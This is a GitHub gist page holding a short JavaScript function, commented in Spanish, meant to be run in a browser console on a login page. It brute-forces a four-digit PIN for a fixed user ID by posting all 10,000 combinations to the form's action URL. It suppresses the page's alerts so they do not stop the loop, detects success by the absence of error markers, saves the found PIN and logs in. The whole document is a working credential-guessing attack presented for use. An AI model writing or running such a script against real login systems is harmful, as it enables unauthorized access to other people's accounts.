Created
February 24, 2026 17:14
-
-
Save EmmaG2/a355f3dd4b302c7ddb2cbb1198bd40ea to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| async function crackearRapido() { | |
| const USUARIO = "NUM_CONTROL"; | |
| const TIPO = "a"; | |
| window.alert = () => {}; // Matamos los alerts de la página para que no frenen el bucle | |
| const inputUser = document.getElementsByName('usuario')[0]; | |
| const inputPass = document.getElementsByName('contrasena')[0]; | |
| const urlDestino = document.acceso.action; | |
| console.log("%c INICIANDO ATAQUE VELOZ...", "color: cyan; font-weight: bold;"); | |
| for (let i = 0; i <= 9999; i++) { | |
| const intento = i.toString().padStart(4, '0'); | |
| inputUser.value = USUARIO; | |
| inputPass.value = intento; | |
| const datos = new URLSearchParams(); | |
| datos.append('tipo', TIPO); | |
| datos.append('usuario', USUARIO); | |
| datos.append('contrasena', intento); | |
| try { | |
| const respuesta = await fetch(urlDestino, { | |
| method: 'POST', | |
| body: datos, | |
| headers: { 'Content-Type': 'application/x-www-form-urlencoded' } | |
| }); | |
| const html = await respuesta.text(); | |
| if (!html.includes('id="rojo"') && !html.includes('Datos incorrectos')) { | |
| console.log(`%c ¡ENCONTRADO!: ${intento}`, "background: #00FF00; color: #000; font-size: 25px; padding: 10px;"); | |
| localStorage.setItem('nip_encontrado', intento); | |
| inputPass.value = intento; | |
| document.acceso.submit(); | |
| return; | |
| } | |
| } catch (error) { | |
| console.error("Error de red, reintentando..."); | |
| } | |
| } | |
| console.log("Fin del ciclo. No se encontró el NIP."); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment